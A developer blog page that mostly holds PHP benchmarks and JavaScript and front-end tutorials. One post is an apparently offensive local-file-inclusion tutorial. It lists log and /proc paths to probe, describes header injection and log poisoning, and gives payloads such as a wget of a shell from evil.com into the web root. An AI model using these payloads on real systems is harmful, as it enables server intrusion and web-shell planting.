Wednesday, November 7, 2012

PHP Accessing array performance test / benchmark

Hi, All
Today we are going to benchmark array access, the key stored in variable, double quoted and single. Let we go, as usual, we go short and simple! As usual we run 1 million times.

Test Stand:
Hardware:
Intel i7 860 @ 2.8Ghz
Asus P7H55-M PRO
8GB DDR @ 1600Mhz Timings 8-8-8-24
SSD 80GB Intel SA2M080

Software
Windows 7 x64
Apache 2.2.17 (x86)
PHP 5.3.5

Let's begin.

Our test script looks such simple as:
set_time_limit(0);
$time_start = microtime(true);

$arr = array('name'=>'vasya', 'last_name'=>'patrik');
$tmp = NULL;
$i = 0;
while($i < 1000000){
    $tmp = NULL;
    $tmp = $arr["name"]; // different access method
    ++$i;
}
echo number_format(microtime(true)-$time_start, 6, '.', '').' seconds';

First we will run with double quotes. We will use $tmp = $arr["name"].
The results will be quiet interesting, and, as usual we calculate avg time for 10 runs.
First Case: $tmp = $arr["name"]
Result: 0.1790sec.

Second Case: $tmp = $arr['name']
Result: 0.1763sec.

Third Case: $tmp = $arr[$key]
Result: 0.1832sec.

Fourth Case: $tmp = $arr[0](after array refined to use int keys)
Result: 0.1659sec.

PHP Accessing array alternatives benchmark / performance test conclusion:
By the test results you can see that accessing array almost doesn't make sens from performance point of view, as we can see for 1 million assignments of $arr[key] to $tmp the coded runes very quick, 0.16-0.18s. Although makes sens, the fastest way of accessing is by integer key, as not surprisingly accessing array with a key stored in variable the slowest way. Just remember to use int keys whenever is possible, as this way will speed up the execution time of the code.

Sincerely,
Ruskevych Valentin

PHP echo vs print vs printf Performance test / Benchmark / Alternatives

Hi, All
Today we going to test the performance of php's functions: echo versus print versus printf. The test stand as usual, my workstation:)
The test will run 1 million of outputs.

Test Stand:
Hardware:
Intel i7 860 @ 2.8Ghz
Asus P7H55-M PRO
8GB DDR @ 1600Mhz Timings 8-8-8-24
SSD 80GB Intel SA2M080

Software
Windows 7 x64
Apache 2.2.17 (x86)
PHP 5.3.5

Let's begin.

Our test script looks such simple as:
set_time_limit(0);
$time_start = microtime(true);

$i=0;
while($i < 1000000){
    // initial command, whether echo, print of print_r
    ++$i;
}

echo number_format(microtime(true)-$time_start, 6, '.', ''),' seconds \n';

PHP Echo vs Print vs Printf Benchmark results:

* Note: Remember, tests timings are calculated as average based on 10 runs.
Output of string '1' single quoted and double quoted:
echo : Single quotes: 0.111sec. (Double quotes: 0.112sec. )
print : Single quotes: 0.120sec. (Double quotes: 0.120sec. )
printf : Single quotes: 0.468sec. (Double quotes: 0.468sec. )
In the case of sting w/o concatenation, variables, etc. the echo is fastest, while printf is slowest. Also as we can notice the double quotes makes a little difference in execution times. Lets proceed to a bit more complicated benchmarks.

This time we will output 1 character stored in variable for 1 million times, let's see whether we will have the difference.
echo : 0.117sec.
print : 0.128sec.
printf : 0.400sec.
The execution time are growing up, as expected, but printf shown increased performance towards the competitors. Anyways print_r stays slowest option of three.

Case: 'string'.$static_var.'string'.
*Note: static var i assume is 'z', not $i that changes every loop as in next test case.
echo : Single quoted: 0.282sec (Double quoted: 0.261sec )
print : Single quoted: 0.298sec (Double quoted: 0.274sec )
printf : Single quoted: 0.605sec (Double quoted: 0.547sec )
Seems very interesting:) No matter which scenario, the echo is fastest yet.

Next test case will perform string concatenation of three string in a way 'string'.var.'string' (using dots), the var is dynamic variable $i.
In case of printf used %s.
echo : single quoted: 0.481sec. (Double quoted: 0.483sec)
print : single quoted: 0.492sec. (Double quoted: 0.492sec)
printf : single quoted: 0.879sec (Double quoted: 0.879sec)
Conclusion: The echo is fastest yet, while printf is slowest. let's proceed testing other methods.

Next test case is output with commas. ',' rather than concatenating.
Static variable, assumes not changes every loop. Always the same. echo : Single quoted: 0.216sec (Double quoted: 0.243sec)
print : DOESN'T SUPPORT
printf : Single quoted: 0.534sec (Double quoted: 0.572sec)

PHP echo vs. print vs. printf performance/benchmark conclusions:
The conclusion is anyhow the echo is always faster, so preferred way to output data, also you may notice that using single quotes makes the execution a little, but faster. So take it to your coding standard and go with echo and single quotes.

Sincerely,
Valentin Ruskevych

Sunday, November 4, 2012

PHP Switch vs In_Array vs IsSet, Performance test / Alternatives / Benchmark

Hi, All :)
Today I just made a benchmark of PHP's Alternatives of looking up in array with ~30 keys and is around 60 keys. Not that big, but, that is the one i was needed to test for the work ;-)

Test Stand:
Hardware:
Intel i7 860 @ 2.8Ghz
Asus P7H55-M PRO
8GB DDR @ 1600Mhz Timings 8-8-8-24
SSD 80GB Intel SA2M080

Software
Windows 7 x64
Apache 2.2.17 (x86)
PHP 5.3.5

Let's begin.

The goal: Find language and locale by country in predefined values.
Starting point: The switch is used there by one of previous developers.

Test case php's Switch:
set_time_limit(0);
$time_start = microtime(true);
$country='ve';


$iterations = 1000000;
$i=0;
while($i<$iterations){
    $property ='';
    $lang='';
    $locale='';
    switch ($country) {
            case 'ar': $property .= 'ar';  $lang = 'es';  $locale = 'ar';  break; 
            case 'au': $property .= 'au';  $lang = 'en';  $locale = 'au';  break; 
            case 'br': $property .= 'br';  $lang = 'pt-BR'; $locale = 'br';  break; 
            case 'ca': $property .= 'ca';  $lang = 'en';  $locale = 'ca';  break; 
            case 'co': $property .= 'co';  $lang = 'es';  $locale = 'co';  break; 
            case 'fr': $property .= 'fr';  $lang = 'fr';  $locale = 'fr';  break; 
            case 'de': $property .= 'de';  $lang = 'de';  $locale = 'de';  break; 
            case 'hu': $property .= 'hu';  $lang = 'hu';  $locale = 'hu';  break; 
            case 'il': $property .= 'il';  $lang = 'he';  $locale = 'il';  break; 
            case 'it': $property .= 'it';  $lang = 'it';  $locale = 'it';  break; 
            case 'mx': $property .= 'mx';  $lang = 'es';  $locale = 'mx';  break; 
            case 'nl': $property .= 'nl';  $lang = 'nl';  $locale = 'nl';  break; 
            case 'no': $property .= 'no';  $lang = 'no';  $locale = 'no';  break; 
            case 'pt': $property .= 'pt';  $lang = 'pt-PT'; $locale = 'pt';  break; 
            case 'sa': $property .= 'sa';  $lang = 'ar';  $locale = 'sa';  break; 
            case 'za': $property .= 'za';  $lang = null;  $locale = 'za';  break; 
            case 'es': $property .= 'es';  $lang = 'es';  $locale = 'es';  break; 
            case 'se': $property .= 'se';  $lang = 'sv';  $locale = 'se';  break; 
            case 'ch': $property .= 'ch';  $lang = null;  $locale = 'ch';  break; 
            case 'th': $property .= 'th';  $lang = 'th';  $locale = 'th';  break; 
            case 'tr': $property .= 'tr';  $lang = 'tr';  $locale = 'tr';  break; 
            case 'ae': $property .= 'ae';  $lang = 'ar';  $locale = 'ae';  break; 
            case 'gb':
            case 'uk': $property .= 'uk';     $locale = 'uk';  break; 
            case 'us': $property .= 'us';        break; 
            case 've': $property .= 've';  $lang = 'es';  $locale = 've';  break; 
            default: $property .= 'row';     $locale = $country; break; 
    }
    ++$i;
}
$time_end = microtime(true);
echo number_format($time_end-$time_start, 6, '.', '')." seconds - switch 26 options\n";

Test case for php's In_array:
set_time_limit(0);
$time_start = microtime(true);
$country='ve';

$arr = array(
    'ar'=>array('property'=>'ar','lang'=>'es','locale'=>'ar')
    ,'au'=>array('property'=>'au','lang'=>'en','locale'=>'au')
    ,'br'=>array('property'=>'br','lang'=>'pt-BR','locale'=>'br')
    ,'ca'=>array('property'=>'ca','lang'=>'en','locale'=>'ca')
    ,'co'=>array('property'=>'co','lang'=>'es','locale'=>'co')
    ,'fr'=>array('property'=>'fr','lang'=>'fr','locale'=>'fr')
    ,'de'=>array('property'=>'de','lang'=>'de','locale'=>'de')
    ,'hu'=>array('property'=>'hu','lang'=>'hu','locale'=>'hu')
    ,'il'=>array('property'=>'il','lang'=>'he','locale'=>'il')
    ,'it'=>array('property'=>'it','lang'=>'it','locale'=>'it')
    ,'mx'=>array('property'=>'mx','lang'=>'es','locale'=>'mx')
    ,'nl'=>array('property'=>'nl','lang'=>'nl','locale'=>'nl')
    ,'no'=>array('property'=>'no','lang'=>'no','locale'=>'no')
    ,'pt'=>array('property'=>'pt','lang'=>'pt-PT','locale'=>'pt')
    ,'sa'=>array('property'=>'sa','lang'=>'ar','locale'=>'sa')
    ,'za'=>array('property'=>'za','lang'=>NULL,'locale'=>'za')
    ,'es'=>array('property'=>'es','lang'=>'es','locale'=>'es')
    ,'se'=>array('property'=>'se','lang'=>'sv','locale'=>'se')
    ,'ch'=>array('property'=>'ch','lang'=>NULL,'locale'=>'ch')
    ,'th'=>array('property'=>'th','lang'=>'th','locale'=>'th')
    ,'tr'=>array('property'=>'tr','lang'=>'tr','locale'=>'tr')
    ,'ae'=>array('property'=>'ae','lang'=>'ar','locale'=>'ae')
    ,'gb'=>array('property'=>'gb','lang'=>'en','locale'=>'uk')
    ,'uk'=>array('property'=>'uk','lang'=>'en','locale'=>'uk')
    ,'us'=>array('property'=>'us','lang'=>'en','locale'=>'us')
    ,'ve'=>array('property'=>'ve','lang'=>'es','locale'=>'ve')
);

$iterations = 1000000;
$i=0;
while($i<$iterations){
    $property ='';
    $lang='';
    $locale='';
    if(in_array($country, $arr) !== FALSE){
        $property = $arr[$country]['property'];
        $lang = $arr[$country]['lang'];
        $locale = $arr[$country]['locale'];
    }else{
        $property = 'row';
        $lang = 'en';
        $locale = $country;
    }
    ++$i;
}
$time_end = microtime(true);
echo number_format($time_end-$time_start, 6, '.', '')." seconds - in_array 26 options \n";

Test case for PHP's IsSet:
set_time_limit(0);
$time_start = microtime(true);
$country='ve';

$arr = array(
    'ar'=>array('property'=>'ar','lang'=>'es','locale'=>'ar')
    ,'au'=>array('property'=>'au','lang'=>'en','locale'=>'au')
    ,'br'=>array('property'=>'br','lang'=>'pt-BR','locale'=>'br')
    ,'ca'=>array('property'=>'ca','lang'=>'en','locale'=>'ca')
    ,'co'=>array('property'=>'co','lang'=>'es','locale'=>'co')
    ,'fr'=>array('property'=>'fr','lang'=>'fr','locale'=>'fr')
    ,'de'=>array('property'=>'de','lang'=>'de','locale'=>'de')
    ,'hu'=>array('property'=>'hu','lang'=>'hu','locale'=>'hu')
    ,'il'=>array('property'=>'il','lang'=>'he','locale'=>'il')
    ,'it'=>array('property'=>'it','lang'=>'it','locale'=>'it')
    ,'mx'=>array('property'=>'mx','lang'=>'es','locale'=>'mx')
    ,'nl'=>array('property'=>'nl','lang'=>'nl','locale'=>'nl')
    ,'no'=>array('property'=>'no','lang'=>'no','locale'=>'no')
    ,'pt'=>array('property'=>'pt','lang'=>'pt-PT','locale'=>'pt')
    ,'sa'=>array('property'=>'sa','lang'=>'ar','locale'=>'sa')
    ,'za'=>array('property'=>'za','lang'=>NULL,'locale'=>'za')
    ,'es'=>array('property'=>'es','lang'=>'es','locale'=>'es')
    ,'se'=>array('property'=>'se','lang'=>'sv','locale'=>'se')
    ,'ch'=>array('property'=>'ch','lang'=>NULL,'locale'=>'ch')
    ,'th'=>array('property'=>'th','lang'=>'th','locale'=>'th')
    ,'tr'=>array('property'=>'tr','lang'=>'tr','locale'=>'tr')
    ,'ae'=>array('property'=>'ae','lang'=>'ar','locale'=>'ae')
    ,'gb'=>array('property'=>'gb','lang'=>'en','locale'=>'uk')
    ,'uk'=>array('property'=>'uk','lang'=>'en','locale'=>'uk')
    ,'us'=>array('property'=>'us','lang'=>'en','locale'=>'us')
    ,'ve'=>array('property'=>'ve','lang'=>'es','locale'=>'ve')
);

$iterations = 1000000;
$i=0;
while($i<$iterations){
    $property ='';
    $lang='';
    $locale='';
    if(isset($arr[$country])){
        $property = $arr[$country]['property'];
        $lang = $arr[$country]['lang'];
        $locale = $arr[$country]['locale'];
    }else{
        $property = 'row';
        $lang = 'en';
        $locale = $country;
    }
    ++$i;
}
$time_end = microtime(true);
echo number_format($time_end-$time_start, 6, '.', '')." seconds - isset 26 options array \n";


To tell you the truth i was waited for In_Array to be slower than switch :), but let's take a look at the benchmark results.
PHP's Switch vs In_Array vs IsSet Benchmark Results:
*Notes:
The runs are (loop) 1 Million times
The time is counted as average for 10 runs * 1 million loops.
The time surrounded by closures is the time for the same run, but with *2 amount of keys in arrays.

The times
The key is set to last key in array
----------------------
For the Switch took: 2.094s. (3.726s)
For the In_Array took: 1.617s. (2.414s)
For the IsSet took: 0.848s. (0.899s.)
----------------------

The match is set to first key in array case:
----------------------
For the Switch: 0.569s. (0.629s) (great speed increase).
For the In_Array: 1.617s. (2.425s) (the execution still unchanged).
For the IsSet: 0.860s. (0.897s) (same with isset).
----------------------

No Match Case:
----------------------
For the Switch: 2.032s.(3.509s) (faster than last match. LOL)
For the In_Array: 1.657s. (2.372s) (Time almost not changing here)
For the IsSet: 0.540s. (0.507s) (Great increase!)
----------------------

Conclusion:
The best way to find whether the key is set in array is to use IsSet php's function.
As we see by the tests, Switch can bring performance only in case the key one of the first, the in_array in any case scanning array to the end and isset is as fast as lightning and becomes even faster when no match is found !
Also please note, as the amount of cases and array keys will become bigger, the switch and in_array will become slower, while isset doesn't have such issue.

The code isset($arr[$country]) brought to us best results.
Have fun playing around.

Sincerely,
Ruskevych Valentin

Tuesday, October 2, 2012

JQuery get field's default value (defaultValue) HOW-TO

Hi, Readers :)
If you got here, probably you already tried to reach field's defaultValue with jQuery and had no success.
Fine, i will show how to retrieve field's default value.
It is pretty easy to reach it.
I am showing real world example, the field that has "Search phrase..." and on focus have to be cleared, on blur have to return "search phrase..." if field is still blank.
 $('#widget_form_search #search_fld').live('focus', function(){
  if($(this)[0].defaultValue == $(this).val()){
   $(this).val('');
  }
 });
 $('#widget_form_search #search_fld').live('blur', function(){
  if('' == $(this).val()){
   $(this).val($(this)[0].defaultValue);
  }
 });

As you may see, accessing defaultValue is pretty easy
var defVal = $('#field_selector')[0].defaultValue;
Have fun:-)
Sincerely,
Ruskevych Valentin

Thursday, July 26, 2012

JavaScript HOW TO Verify Function exists in class

Hi, Readers.
Today i will explain how to verify in javascript whether the function/method and property/variable exists in class/object. Continue reading and i will teach how to...

The example(1) class we will work on is:
// class constructor
function Car(color){
   this.color = color;
   this.paint = function(color){
      this.color=color;
   };
}

The Example(2)
var Car = function(color){
   this.color = color;
};

Car.prototype.paint = function(color){
   this.color=color;
};

How to verify if property/variable or function/method exists in class/object in javascript?
for example(1), when function is defined as anonymous, we can use:
var c = new Car('red');
console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
// If you don't receive the 'Doesnt exists' in console, then the method/variable 
// is found, otherwise you will receive "Assertion failed: Doesnt exists"


On example(2) instance we should use a bit different construction.
Lookup in base object (not instance) On example(2) instance we should use a bit different construction.
Lookup in instantiated object
// lets see
c = new Car('red'); // instance
c.paint('blue');
alert(c.color); // alerts 'blue'

console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
console.assert(true === Car.prototype.hasOwnProperty('paint'));


Lookup for method/variable inside instantiated object in javascript
// lets see
c = new Car('red'); // instance
c.paint('blue');
alert(c.color); // alerts 'blue'

//previous try
console.assert(true === c.hasOwnProperty('paint'), 'Doesnt exists');
// new try
console.assert(true === c.__proto__.hasOwnProperty('paint'), 'Doesnt exists');

Why using __proto__ and what is exactly __proto__?
__proto__ is a "secret" reference to creator.

You can notice, that behavior of the method "paint" is as usual class method, it is painted our car to blue, but couldn't be found in class. Interesting?
This happens because it is defined with prototype and it is method of class' prototype that is also object.:)
The structure of the object Car
object Car
   property color
   object prototype/__proto__
      method paint

That is the prototype's behavior.
We will take a deeper look on prototypes and assertion in next articles.

Sincerely, Ruskevych Valentin

Wednesday, July 25, 2012

JavaScript Element's Style Properties Doesn't Received Bug (Solved!)

There is a problem when the JavaScript does not return the style's properties.
The problem that even when retrieving element by id or class name won't give you it's style properties.
I investigated this situation in deep roots.
// some times this code can be improper.
var x = getElementById('someID');
alert(x.style.backgroundColor);

Previous example may work under many circumstances, but sometimes fails to fulfill required operations.
If we dump the object into the console with
var x = getElementById('someID');
console.log(x.style);
// or even
console.log(x);
When problem appears, you probably won't find anything in the style. The object will show the properties, but the values are blank or null,underfined... anything but not the values we require :)
This is funny bug :)
Another circumstance under which this code will work is if you have typed the style in-line. But we are ninjas, we shouldn't use inline styles.

Javascript element doesn't return styles -> Problem resolution!
It is not a secret that JavaScript contains different ways of retrieving styles, but...
Some of theme working and some of them is not... some works in IE, some doesn't...
I am using next method:
//Usage example:
var _el = document.getElementById('someID');
var _elBGColor = getTheStyle(_el, 'backgroundColor');

function getTheStyle(_elm,_prop){
   var x ='';
   if(window.getComputedStyle){
      x=getComputedStyle(_elm);
   }else{
      x=_elm.currentStyle;
   }
   return x[_prop];
}

This function will satisfy your need.:)
But...
May be slightly improved in case you need all the styles of the element.
Let's we take a look at universal function:
function getTheStyle(_elm){
   if(window.getComputedStyle){
      return getComputedStyle(_elm);
   }else{
      return _elm.currentStyle;
   }
}

This fix is perfectly working retrieving any of previously "blank" style properties.

Sincerely,
Ruskevych Valentin


Other JavaScript Tutorials and How To

How To Verify Function exists in a JavaScript Class
JavaScript OOP Basics
TableSorter Installation a Detailed Tutorial.

JavaScript OOP Basics (Tutorial)

Today i want to explain the JavaScript OOP basics (The basics of Object Oriented JavaScript).

JavaScript OOP, but looks functional language, but in real environment and point of view, it is pure OOP language.
Why JavaScript is an OOP Language?
Let's take a look at usual function
function testFunc(){
   alert('The Test');
}

Seems like normal function isn't it?
Nope, it is method.
In JavaScript all functions and variables is wired up to context, in above example assume we use it without any class context, but function still method of object.
Which object is the context if we defined the function outside any context?
We defined the function in scope of "window", the basic JavaScript object in page.
So the function is accessible also through:
var it_is_variable = 'Test It';

function testFunc(){
   alert('The Test');
}

// call function
window.testFunc();
// alerts "The Test"

// same with variables
alert(window.it_is_variable);
// alerts "Test It"

Function's variables also accessible in an OOP manner, such as:
function jstest(){
   test_var = 'test';
   alert(self.test_var);
}


How to create a JavaScript Object?
var obj = {};

Here we created a blank javascript object by using curly braces.

Adding functionality to an object in JavaScript
Lets create a few properties and methods.
var obj = {}; // the previous code

obj.propertyA = 'test_property'; // adding property

// adding method
obj.getProperty = function(){
   alert(this.propertyA);
}

obj.getProperty(); // alerts the propertyA of class obj


Let's create real environment object.
var car = {
   // properties as object
   dimentions : {
      len : 462,
      width : 190,
      height : 110,
      weight : 1250
   },
   // properties
   tank : 40,
   color : 'red',
   maxSpeed : 220,
   horsePowers : 125,
   _handBrake : true,
   _power : false,
   // Methods
   init : function(){
       if(!this._power)
           this.startEngine();
       
       return this._power;
   },
   startEngine : function(){
       if(true === this._power)
           return true;
       if(true === this._handBrake)
           this.handBreakSwitch();
       this.checkFuel();
       this.powerSwitch();
   },
   refill : function(){
       this.tank = 40;
   },
   handBreakSwitch : function(){
       this._handBreak = (this._handBreak === false ? true : false);
   },
   checkFuel : function(){
       if(this.tank < 5)
           this.refill();
       return true;
   },
   checkEngine : function(){
      if(true === this._power)
         return true;
      else
         this.startEngine();
   },
   powerSwitch : function(){
       this._power = (this._power === false ? true : false);
   },
   paint : function(color){
       this.color = color;
   },
   drive : function(distance,velocity){
       this.checkEngine();
       return (parseInt(distance) / parseInt( this.calcSpeed(velocity) ) ).toFixed(3) + 'sec';
   },
   calcSpeed : function(speed){
       return (speed*1000)/(60*60);
   }
};

// Lets initialize the car
car.init();

// Unfortunately the dimentions of the car and horsepowers are not used in current
// example as far as starting speed (velocity), i won't spend much time on example ;-)

//using car.drive(1230,90) in alert
alert('Time spent to pass distance is ' + car.drive(1230,90));
// Alerts "Time spent to pass distance is 49.200s" 
// so we traveled 1230 meters with speed 90km/h in 49.2sec.

car.paint('blue');
alert('Car painted with ' + car.color + ' color.');


Overriding in effect
Typical overriding is as simple as
var car = {
   init : function(){
      alert('test');
   }
};
// alerts 'test'
car.init();

car.init = function(){
   alert('override in effect');
};

// Alerts "Override in effect"
car.init();​


Javascript class constructor
Class constructor in javascript defines as a function it will also enable you to access to prototype, but... prototypes,inheritance and closures in next articles.
function car(){
   this.init = function(){
      alert('test');
   }
}

// initializes class with constructor
var car = new car;
// alerts 'test'
car.init();


Have fun playing JavaScript's funny oop:)
Sincerely,
Ruskevych Valentin


Other JavaScript Tutorials and How To

How To Verify Function exists in a JavaScript Class
How to get styles of the elements properly in Javascript (Solving the bugs)
TableSorter Installation a Detailed Tutorial.

Sunday, July 22, 2012

How to Exploit Local File Inclusion with null byte poisoning tutorial

Today i would like to introduce you into exploiting local file inclusion on remote server using null byte poisoning


LEGAL NOTICE: ALL INFORMATION IN THIS POST COULD NOT BE USED TO EXPLOIT, THE INFORMATION IS PRESENT TO HELP WEB DEVELOPERS (like i am) TO UNDERSTAND THE SIGNIFICANCE OF PROTECTING THEIR APPLICATIONS AGAINST LOCAL FILE INCLUSION AND NULL BYTE POISONING. AGAIN! THE INFORMATION MUST BE USED ONLY IN RIGHT WAY OF ETHICAL HACKING a.k.a WHITE HAT (white hat hacker measuring a security professional)


Table of contents:

1. What is Local File Inclusion

2. What is null byte and null byte poisoning

3. Why using null byte poisoning

4. How to find local file inclusion vulnerability

5. How to find which location we have access to...

6. Preparing your own payload

7. Exploit the local file inclusion vulnerability

8. Get result of exploitation

9. Protection against Local File Inclusion we already told about

10. Other usefull places to look at



Let's we begin:)
1. What is Local File Inclusion Vulnerability

Local File Inclusion - just the name is talking by itself.
This kind of vulnerability allows you to include files located on the subject server ("target") by PHP. In other words you are able to get read access to local files. At this point you may think: "Ah, just a read of files, i will never protect against LFI so..", but no, continue reading and you will get to right point and get the knowledge How Does Servers Gets Hacked



2. What is null byte and null byte poisoning
Null byte is a NULL char, url encoded representation is , char(0) in php.
Null byte representing end of line.
Null byte poisoning is hijacking null byte into unexpected place to cause improper work of program/part of program.


3. Why using null byte poisoning
Using null byte in URL may tell the command that uses that parameter that the line is ended, so improperly escaped variable may allow to break the jail in case used as:
include($_GET['param'].'.php');
In case of using http://target.com/index.php?param=/etc/passwd, we will break the jail and get to /etc/passwd if it is readable for us, otherwise we can trick the system in other ways to get the payload to successful execution and LFI exploitation. :)



4. How to find local file inclusion vulnerability
Usually file inclusion of any type detects by trying a few common strings, you can also use vulnerability scanners that may suggest whether some strange thinks are happens around one of URL parameters. to detect LFI for example in get parameter "page" or similar, that is commonly exploitable, try these:
source page: http://target.com/index.php?page=contact
// we can try next modifications to see whether we have any access
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log
/proc/self/
/proc/self/environ
// note: there may be unexpectedly disclosed a remote file inclusion.
Try LFI scanners to simplify and speed up your process of finding local file inclusion. Any kind of encodes can be used, depends on circumstances of code.


5. How to find which location we have access to...
I don't think you need to try it manually, use automation programs, they know a lot. One of these tools is: http://lfimap.googlecode.com/files/lfimap-1.4.3.tar.gz
Also you have LFI scanner in metasploit framework.
Included such places as apache logs, cache, sql logs, processes, etc...
These tools know even more places than these commonly used from part 4.

6. Preparing your own payload
In any of the ways to exploit Local file inclusion we will use code injecting into headers being sent to server.
First if you can access the /proc/self/environ then you can see which headers being shown in there, this is the easiest way to exploit. Just sent header with evil code (php) to the server and you will execute it by showing into browser. payload can be any of the type, whether just echo, system, exec, file_get_contents, etc.
In next example i will show few of commonly used payloads, but sometimes need to be more excited ;)
// First and most commonly used
file_get_contents(remote_shell_url.txt);

// Second widely used
system("wget http://evil.com/myshell.txt -o /var/path/to/www/folder/myshell.php");

// Third is not so common, but used too
system("echo include($_GET['a']); > /tmp/mmmmmmm");

// I once fall on server that denied me to use previous
// As i am PHP coder, i made payload out of cURL that directly saved contents
// of remote file into a local file, this way shell almost always obtained:)
// i also always used the log files handlers, it is better than finding logs on server
// that is not always being found, but handler in most cases found.


7. Exploit the local file inclusion vulnerability
Ok, We sent the evil code into headers to the server, if you being used the Log File handler, you will notice of result directly, just load the fresh shell in browser and wualla!
Almost the same way with logs, assume you determined the header field that is being logged in access log and you found where the access_log is stored...
Inject the header -> LFI the access_log -> executed -> Load shell in browser.
8. Get result of exploitation
It is mentioned in paragraph 7, the final result is you (brain+skill)*time :)
9. Protection against Local File Inclusion we already told about 10. Other usefull places to look at
HTTP Configuration: /proc/self/cmdline
Log Files Handlers: /proc/self/fd/0 (where 0 can be used numbers such as 5-7), i don't really know how much they can be, but always found logs handler up to 20... sometimes it is 2,3,5,6,16,12... Play with it ;-)


Remember, Being Excited makes you unique!


Sincerely, Ruskevych Valentin

Friday, July 20, 2012

Web Front End Optimization a detailed HOW TO (tutorial)

Table of content:


Requirements

1: Gathering required tools

2: Analyze Your Page Speed

3: Page Speed interface tutorial

4: Front End optimization rules also known as Page Load Speed Optimization

5: Explanations

6: Additional Suggestions


REQUIREMENTS:


Broswers: Google Chrome / Mozilla Firefox
Tools:
Chrome -> Google's Page Speed
Firefox -> Firebug + YSlow / Google's Page Speed

I am not a Firefox fun, but Chrome's one and so we will use Chrome in out examples :)
Hope you are familiar with chrome's magic key "F12"=)

1: Gathering required tools
1.1 : Download Google's Chrome at http://Google.com/Chrome/
1.2 : Install Google's Page Speed Insights from Chrome Store

2: Analyze Your Page Speed
2.1 : Load your page in Chrome (ex. http://google.com)
2.2 : When loaded, press "F12" magic key :)
2.3 : Now you see the tab called "Page Speed", the tab is placed after tab "Console", follow to this tab.
2.4 : Press the "Analyze" button at right top corner to Analyze Page Speed
2.5 : Well Done, page speed is determined. Let's explain what is what.

3: Page Speed interface tutorial
3.1 : Top tab containing two buttons, "Refresh" and "Clear".
3.1.1 : "Refresh" button allows you to re-Analyze page speed
3.1.2 : "Clear" button allows you to clear entire results

3.2 : Left part of window is an overview of Rules that done/undone with it's priority (low/medium/high and experimental)
Follow each one to see what they are asking to do to complete the goal, you can click on every rule for basic explanation or "Learn more" inside the rule, to go to detailed explanation in case you don't understand something.

4: Front End optimization rules also known as Page Load Speed Optimization
4.1 : Clean code
4.2 : Optimize download and content (any content included in page, such as css,js,images,etc)
Page speed optimization : Clean the code
Cleaning you code is very basic rule of Front End Optimization, clean code also looks professional and readable.
Take all inline CSS to you external css file, if you don't have one - create it, preferably under directory called "css","styles", or something suggesting that css files located inside.
On you page should be only ids and classes used and not inline css, see next example.


some content
#id_you_want { display:block;position:relative;height:125px;width:250px; margin-left:20px; }
some content

Look much better. So now follow all your document and move the styles into css files.
How to decide which one to use the (#) id or the (.) class. ID as rule says, can appear only once at page and javascript lookups by ID is faster than by class.
Class can appear as much time as you wish on page. Class is reusable.

Next step is cleaning inline JavaScripts.
Also take all you inline script like:

Move the script's inner content to separate file for further in page inclusion.
For example, you can create scripts.js file and store there all the common scripting pieces and another one called libs.js or libraries.js to store libraries used on all/most of pages.

TableLess HTML
Why using table less HTML ?
The answer is very simple, it is common for modern pages, easy and light weight. In total when you understand good Box Model you will see, that it is much easier to create tableless markup than tabled. BUT! Remember, tabled data should remain tabled.

4.2: FontEnd Optimization - Minimize downloads
We assume you already have a clean code.
Amount of external content downloads directly impact the page loading speed
Reasons of impact:
Amount of downloads, size of external content, ping to external resources, caching, loading way.

Why This Happens:
Exact reason of impact hides in visitor's browser. Every browser maintains it's own number of allowed concurrent connections to host and total concurrent connections.
This says if IE6(as today 0.6% of total users is nothing, but...) and IE7(1.9% users) allows 2 parallel connections to host, this says if you had 4 js, 2 css and 12 images (in css), browser should download all the content is html+18 files = 19 in total.
Quick calculation with latency 120ms can give us minimal page loading speed of 960ms (not included downloads times of content, that can be various). 1.080s, lets threat it as allowable.
Now we include the download of background (ex. image of 200kb optimized) and it's download time is 0.4s (400ms), page loading time becomes 1.5sec.
Too bad, we have to load 18 more files. Included JS libraries that can be "huge" as of web metrics of sizes. jQuery 150kb, various scripts (50kb), css 10kb, images for total of 500kb.
Lets calculate! Latency 120ms * 8 = 960ms + 120ms = 1.080s, js download time 0.220s, css 0.09s, images 0.8s in total we have page loading time 1.080+0.22+0.09+0.8= 2.2s.
Check browser concurrent connections amount at Browser Scope
Seems good? - Can be even faster! continue to read and i will teach how to...

Problem Solve:
Put all css in same file, for example user part in one css file, admin part for admin control panel in another. Just because there is no reason to load both styles to user in case the visitor will never see the admin control panel and so never use classes and/or ids from css file.

Put all JS into one or 2 files, for example scripts.js will contain all of inline scripting from the page and libs.js to store our libraries used on page. In case of using jquery or another famous libraries, prefered way to load directly from google. Benefits of this way i have already explained in separated article, you can read it here - Why using jQuery from Google Ajax API

Minimize image sizes: test various options in "Save for web" in Photoshop, try png8,png24,gif,jpeg. Watch for same quality but smallest image size.
Reduce Amount of Images:
Should you remove images from page and the page will become ugly? No! That is not the way of true front end ninjas:)
You should take All the images used in most of pages, such as back grounds, logos, footer icons, menu bullets, etc., and make one sprite so that you will receive one image and then maintain it's placements within CSS (background-position is a powerful method).
Minify Javascripts and CSS:
If you have the option to use minified libraries, definitely USE IT ! otherwise just minify the JS and CSS, nowadays there is a lot of resources online that can offer such service for free, Google It!
Compression for page speed:
In additional to reducing size of images, minifying JS and CSS, making sprites to reduce amount of images, we need to implement caching to reduce the size of contents even more.
GZIP compression: Nowadays everybrowser supports GZIPed content. Browser receives GZiped content from server and maintaining to render the page. I will not get deep inside the Gzip compression, but basic for our needs is here. GZip reduces contents weight for about 60-70% on the server and then content being Xfered to client(browser), not that bad at all.
GZip compression can be enabled on Web Server level (Apache,Nginx,IIS,LightHTTPD) or Server Side Language such as PHP/Perl.
Minify HTML
It is suggested to minify HTML, but care to save the source file separately, so you always can work on source (formatted properly), and then minify him and replace the previous. This may not save a lot of traffic, but pagespeed will rank you better.
Defer Javascript Parsing
Parsing Javascripts asynchronously, to not cause the browser to wait.
